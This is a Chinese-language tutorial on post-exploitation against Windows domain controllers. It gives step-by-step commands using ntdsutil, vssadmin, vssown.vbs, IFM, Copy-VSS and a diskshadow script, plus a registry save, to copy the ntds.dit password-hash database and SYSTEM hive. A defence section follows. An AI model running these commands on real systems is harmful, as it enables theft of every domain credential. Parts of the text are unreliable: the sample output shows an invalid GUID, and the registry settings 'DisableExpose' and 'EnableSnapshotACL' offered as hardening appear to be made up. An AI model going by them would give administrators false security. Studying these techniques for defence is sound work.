内网后渗透攻击--域控制器安全(1)
用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
在实际网络环境中,攻击者渗透内网的终极目标是获取域控制器的权限,从而控制整个域。这里我们主要是通过使用kerberos域用户提权和导出ntds.dit中散列值的方法,并且针对域控制器攻击提出有效的安全建议。
为什么要提取ntds.dit文件?
ntds.dit
作为 Active Directory(AD)的核心数据库,存储了域内用户账号、密码哈希、权限配置等高度敏感信息。所以如果要进行域控制器攻击,其ntds.dit文件是必不可少的。
使用卷影拷贝服务(VSS)提取ntds.dit
卷影拷贝服务(Volume Shadow Copy Service,简称 VSS)是 Microsoft Windows 从 Windows XP/Server 2003 开始内置的系统级服务,核心目标是解决「在线数据一致性备份」问题 —— 即无需中断应用程序运行、无需关闭被锁定文件,即可为磁盘卷创建一份「时间点一致」的快照(称为「卷影拷贝」或「影子副本」)。
VSS 的关键组件
VSS 并非单一服务,而是由 5 个核心组件 协同工作,各组件分工明确,共同完成快照的创建与管理。
组件名称 | 核心角色 | 典型示例 |
---|---|---|
VSS 服务(Volume Shadow Copy Service) | 「协调者」:负责调度其他组件,处理快照创建 / 删除的流程控制,维护组件间通信。 | 系统服务 VSS (可在「服务」中查看,默认自动启动)。 |
请求者(Requester) | 「发起者」:主动请求创建 / 使用快照的程序,通常是备份软件或管理工具。 | - Windows Server Backup - ntdsutil /vssadmin 命令行工具- 第三方备份软件(如 Veeam、Commvault)。 |
写入器(Writer) | 「协同者」:嵌入在应用程序中的 VSS 适配模块,负责确保应用数据一致性。 | - Active Directory 写入器(确保 ntds.dit 快照一致)- SQL Server 写入器(确保数据库事务日志与数据文件同步) - 系统写入器(确保系统文件如 system.hive 一致性)。 |
提供程序(Provider) | 「执行者」:实际负责创建 / 管理快照的模块,分为「软件提供程序」和「硬件提供程序」两类。 | - 软件提供程序(默认):Windows 内置,基于文件系统实现快照,无需硬件支持。 - 硬件提供程序:由存储厂商提供(如 Dell、EMC),基于硬件阵列实现快照,速度更快。 |
卷影拷贝存储区(Shadow Copy Storage Area) | 「存储区」:用于保存快照的「差分数据」(快照创建后文件的变化部分),默认位于同一卷,也可指定其他卷 |
VSS 工作原理(完整流程)
VSS 快照的创建过程本质是「组件协同 + 差分存储」的组合,可分为 6 个关键步骤,以下以「备份软件(请求者)创建 C 盘快照」为例,拆解核心逻辑:
步骤 1:请求者发起快照请求
- 备份软件(请求者)通过 VSS API 向「VSS 服务」发送请求:「需要为 C 盘创建一份应用一致性快照」。
- VSS 服务接收到请求后,首先检查 C 盘是否支持 VSS(需 NTFS 或 ReFS 文件系统,FAT32 不支持),并确认「写入器」和「提供程序」是否正常运行。
步骤 2:VSS 协调写入器准备数据
这是 VSS 保证「数据不损坏」的核心步骤 —— 通过写入器(Writer)与应用程序协同,冻结「瞬时数据状态」:
- VSS 服务向所有已注册的「写入器」发送「准备通知」(Prepare For Snapshot)。
- 各写入器执行预操作:
- 应用级写入器(如 SQL Server 写入器):暂停当前事务、将内存中的脏数据(未写入磁盘的数据)刷入磁盘、记录事务日志的当前位置(确保快照后可恢复事务)。
- 系统写入器(如 AD 写入器):确保
ntds.dit
等锁定文件的当前状态被完整记录,避免部分写入。
- 所有写入器准备完成后,向 VSS 服务返回「准备就绪」信号。
步骤 3:冻结文件系统
为了避免「写入器准备完成后、快照创建前」的间隙中,有新数据写入磁盘(导致数据不一致),VSS 服务会执行「文件系统冻结」:
- VSS 服务向「提供程序」发送指令,短暂冻结 C 盘的文件系统写入操作(冻结时间通常仅几毫秒,用户和应用无感知)。
- 冻结期间,所有对 C 盘的写入请求(如文件修改、日志写入)会被暂时排队,不实际执行。
步骤 4:提供程序创建快照
冻结完成后,「提供程序」开始创建快照,但 并非复制整个卷的数据(否则占用空间大、速度慢),而是通过「差分引用」实现高效快照:
两种提供程序的实现差异:
-
软件提供程序(默认):
- 在「卷影拷贝存储区」中创建一个「差分映射表」(记录每个文件块的原始位置)。
- 标记当前卷的所有数据块为「只读」—— 后续对这些数据块的修改,会触发「写时复制(Copy-On-Write,COW)」机制:
- 当应用要修改某个数据块时,系统先将该块的「原始数据」复制到「卷影拷贝存储区」,再对原卷的数据块进行修改。
- 快照始终引用「原始数据块」和「存储区中的历史块」,因此访问快照时,看到的是创建时刻的完整数据。
-
硬件提供程序(需硬件支持):
- 直接通过存储阵列的硬件功能(如 RAID 控制器)创建卷的「物理快照」,无需依赖操作系统的 COW 机制。
- 速度更快(硬件级操作),且不占用主机 CPU 资源,适合大型存储环境(如企业级数据库服务器)。
- 快照创建完成后,VSS 服务立即「解冻」文件系统,排队的写入请求恢复执行(用户无感知)。
步骤 5:挂载快照并提供访问
- 提供程序将创建的快照映射为一个「虚拟路径」(如
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX
或C:\$SNAP_202508241234_VOLUMEC$
)。 - 请求者(如备份软件)通过该虚拟路径访问快照中的数据,执行备份或文件拷贝(如你之前拷贝
ntds.dit
)—— 此时访问的是「只读快照」,不会影响原卷数据。
步骤 6:快照清理
快照创建后不会永久保留(默认保留时间由系统或管理员配置),清理流程如下:
- 当快照过期、存储区空间不足,或管理员主动删除时,VSS 服务向提供程序发送「删除快照」指令。
- 提供程序删除「卷影拷贝存储区」中该快照对应的「差分数据块」和「映射表」,释放存储空间。
- 若删除的是最后一个快照,存储区中与该快照关联的所有历史数据块都会被清理。
上面就是关于VSS的详细介绍,接下来就是通过实操进行深入了解以及掌握
1、使用ntdsutil
工具提取ntds.dit
ntdsutil
是 Microsoft Windows Server 中专门用于管理 Active Directory 数据库(ntds.dit) 的命令行工具,主要用于域控制器(Domain Controller)上的高级操作,如快照管理、数据库维护、域服务配置等。它是处理 Active Directory 核心数据的关键工具
启动命令提示符:以管理员身份打开cmd
或PowerShell
。
创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit
该命令会为ntds.dit
所在的系统卷生成一个时间戳命名的快照(例如$SNAP_202508241234_VOLUMEC$
)。
将快照加载到系统:
ntdsutil snapshot “mount ID" quit quit
#命令中的ID就是上面创建快照所给的ID
使用copy将快照中的文件复制出来
copy C:\.........\windows\ntds\ntds.dit c:\temp\ntds.dit
#命令中....在装载快照是会给出
读取成功后删除快照
ntdsutil snapshot "unmount ID" "delete ID" quit quit
2、利用vssadmin提取ntds.dit
利用 vssadmin
工具(卷影拷贝服务管理工具)提取 ntds.dit
文件的核心思路是:通过创建磁盘卷影副本(快照)绕过 ntds.dit
的文件锁定,再从快照中复制文件。
使用 vssadmin
创建卷影拷贝
打开管理员命令提示符
按下 Win + R
,输入 cmd
,右键「以管理员身份运行」。
创建系统卷(通常是 C 盘)的快照
执行以下命令(/for=c:
表示为 C 盘创建快照):
vssadmin create shadow /for=c:
记录 卷影副本路径(如 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
),后续需通过该路径访问快照中的文件。
使用 copy
命令,将快照中的 ntds.dit
复制到本地,并且进行查看
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\Windows\NTDS\ntds.dit" "C:\AD_Backup\ntds.dit"
dir c:\ |findstr "ntds"#查看文件
3、利用vssown.vbs脚本提取ntds.dit
vssown.vbs
是一款常用于管理卷影拷贝服务(VSS)的 VBScript 脚本,其核心功能是简化卷影快照的创建、查询和删除操作,从而更便捷地提取被系统锁定的文件(如 ntds.dit
)
使用 vssown.vbs
创建卷影快照
vssown.vbs
通过封装 VSS API,提供了比 vssadmin
更简洁的快照管理命令。核心步骤如下:
先启动卷影拷贝服务
cscript vssown.vbs /start
创建系统卷(通常为 C 盘)的快照
在命令行中执行以下命令,创建 C 盘的卷影副本:
cscript vssown.vbs /create c
使用命令列出当前的卷影拷贝
cscript vssown.vbs /list
使用copy命令提取
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit" "C:\AD_Backup\ntds.dit"
使用命令删除卷影拷贝
cscript vssown.vbs /delete ID
4、使用ntdsutil的IFM创建卷影拷贝
使用 ntdsutil
的 IFM(Install From Media,从介质安装) 功能创建卷影拷贝是一种更高效的方式,其核心是通过生成可用于部署额外域控制器的介质,过程中会自动利用卷影拷贝服务(VSS)获取一致性的 ntds.dit
数据库及相关文件,无需手动管理快照。
IFM 与卷影拷贝的关系
IFM 的主要作用是创建包含 Active Directory 数据(ntds.dit
、日志文件、系统配置等)的介质,用于快速安装新域控制器(无需通过网络同步完整数据)。其底层通过调用 VSS 自动创建卷影拷贝,确保提取的 ntds.dit
处于一致性状态(避免文件锁定导致的损坏)。
使用 IFM 创建卷影拷贝(生成 IFM 介质)
首先先创建活动实例,不然无法使用ifm
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
将ntds.dit复制到活动目录
dir "c:\test\Active Directory"
然后将SYSTEM和SECURITY复制到c:\test\registry文件夹下
dir "c:\test\registry"
然后使用nishang中的Copy-VSS.psl脚本提取出来,这里不再展示
import-module .\Copy-VSS.psl #导入脚本
Copy-VSS #执行命令
5、使用diskshadow导出ntds.dit
diskshadow
是 Windows 系统中一款功能更强大的卷影拷贝管理工具,支持脚本化操作,可通过命令序列精细控制卷影快照的创建、挂载和删除过程,非常适合导出被锁定的 ntds.dit
文件。这里展示步骤和命令,不展示实操。
使用 diskshadow
导出 ntds.dit
流程
步骤 1:创建 diskshadow
脚本(核心命令序列)
-
在本地创建一个文本文件(如
C:\scripts\vss_script.txt
),写入以下命令:# 启用卷影拷贝服务 set context persistent nowriters # 添加系统卷(通常为 C:,若 ntds.dit 在其他分区需修改) add volume c: alias myvolume # 创建快照 create # 将快照暴露为 Z: 驱动器(确保 Z: 未被占用) expose %myvolume% z: # 退出 diskshadow exit
- 命令说明:
set context persistent nowriters
:创建持久化快照(重启后不消失),且不等待应用程序写入器(适合快速操作)。add volume c: alias myvolume
:指定要快照的卷(C 盘),并为其命名为myvolume
便于后续引用。expose %myvolume% z:
:将快照映射为Z:
驱动器,简化文件访问路径。
- 命令说明:
步骤 2:执行脚本创建快照并挂载
以管理员身份打开命令提示符,执行以下命令运行脚本:
diskshadow /s C:\scripts\vss_script.txt
命令执行成功后
卷影副本 ID: {a1b2c3d4-5678-90ef-ghij-klmnopqrstuv}
卷影副本已暴露为 Z:
此时,Z:
驱动器即为 C 盘的快照副本,可直接访问其中的文件。
步骤 3:复制 ntds.dit
和 system.hive
-
创建本地备份目录:
mkdir C:\AD_Backup
-
从快照驱动器(
Z:
)复制ntds.dit
:copy Z:\Windows\NTDS\ntds.dit C:\AD_Backup\ntds.dit
-
导出
system.hive
(用于解密):reg save hklm\system C:\AD_Backup\system.hive
防御建议
权限最小化:阻断未授权 VSS 操作的核心入口
VSS 相关操作(创建快照、挂载、提取文件)依赖高权限,需严格限制权限范围,避免权限滥用或账号泄露导致的风险。
1. 限制 VSS 操作相关用户权限
- 最小化「备份操作员」和「管理员」组成员:
只有必要的 IT 运维人员才能加入这两个组 —— 前者默认拥有「备份文件和目录」「还原文件和目录」用户权利(执行 VSS 操作的核心权限),后者直接具备完整系统控制权。定期审计组成员,移除冗余账号。 - 禁用普通用户的 VSS 相关用户权利:
通过「本地安全策略」(secpol.msc
)或 组策略(GPO) 限制「备份文件和目录」「还原文件和目录」权利,仅授予授权的域控制器管理员账号,禁止普通用户或服务账号获取该权限。
路径:计算机配置 > Windows 设置 > 安全设置 > 本地策略 > 用户权限分配
。 - 限制域控制器本地管理员权限:
避免将普通服务器管理员账号添加到域控制器的「本地管理员」组,防止跨服务器权限滥用(如通过普通服务器管理员账号远程登录域控制器执行 VSS 操作)。
2. 加固 VSS 服务及工具的访问权限
- 限制 VSS 相关工具的执行权限:
对vssadmin.exe
(C:\Windows\System32\
)、diskshadow.exe
(C:\Windows\System32\
)、ntdsutil.exe
(C:\Windows\System32\
)等工具设置严格的文件 ACL(访问控制列表),仅允许「SYSTEM」和授权管理员账号拥有「读取 + 执行」权限,拒绝其他所有账号(包括「备份操作员」组,如需执行可临时授权)。 - 禁用不必要的 VSS 提供程序:
VSS 依赖「提供程序」(如系统自带的「Microsoft Software Shadow Copy provider」、第三方备份软件的提供程序)创建快照。通过vssadmin list providers
查看已安装的提供程序,卸载或禁用未使用的第三方提供程序(可能存在漏洞或被攻击者利用),仅保留系统默认提供程序。
VSS 配置加固:缩小攻击面,防止滥用
通过配置限制 VSS 快照的创建、存储和访问,减少攻击者可利用的漏洞点。
1. 限制 VSS 快照的创建范围与生命周期
- 禁止非系统卷的 VSS 快照(按需):
若ntds.dit
仅存储在系统卷(通常为 C 盘),可通过组策略禁用其他卷(如 D 盘、E 盘)的 VSS 功能,避免攻击者通过非系统卷快照间接获取敏感数据。
路径:计算机配置 > 管理模板 > Windows组件 > 卷影复制 > 禁用卷影复制
(仅针对非系统卷生效,需单独配置)。 - 设置快照存储限制与自动清理:
防止攻击者创建大量快照占用磁盘空间或长期留存快照(作为后门):- 通过
vssadmin resize shadowstorage /for=C: /on=C: /maxsize=10GB
限制系统卷快照存储的最大容量(根据磁盘空间调整,避免影响系统运行)。 - 启用快照自动清理:通过任务计划程序创建定时任务,每周执行
vssadmin delete shadows /for=C: /all /quiet
(仅保留必要的备份快照,需与正常备份策略协调)。
- 通过
2. 阻止 VSS 快照的未授权挂载与暴露
- 禁用
diskshadow
的「expose」命令(高安全需求场景):
攻击者常用diskshadow
的expose
命令将快照映射为驱动器号(如 Z:),方便提取ntds.dit
。可通过修改注册表禁用该功能:
路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DiskShadow
新建「DWORD(32 位)值」DisableExpose
,值设为「1」(需重启系统生效)。 - 限制 VSS 快照的访问权限:
系统默认对 VSS 快照的访问权限继承自源卷,但可通过修改注册表强化:
路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VSS\Settings
新建「DWORD(32 位)值」EnableSnapshotACL
,值设为「1」,强制 VSS 快照使用独立 ACL(仅授权管理员访问)。
监控与审计:及时发现异常 VSS 操作
攻击者执行 VSS 提取 ntds.dit
时,必然会留下操作痕迹,需通过日志监控和行为分析及时告警。
监控 VSS 相关工具的调用行为
- 监控敏感进程启动:
通过 Windows 事件日志(安全日志)或 EDR(终端检测与响应)工具,监控以下进程的启动事件(事件 ID:4688,「进程创建」),并设置告警(如非授权时间、非授权账号启动):vssadmin.exe
(创建 / 删除快照)diskshadow.exe
(高级快照操作)ntdsutil.exe
(AD 相关快照操作)cscript.exe
/wscript.exe
(执行vssown.vbs
等 VSS 脚本)
关键审计字段:「新进程名称」「创建者进程名称」「客户端用户 ID」(账号)。
这里我们讲述了如何提取ntds.dit文件,下一篇文章我们将讲述如何导出ntds.dit中的散列值。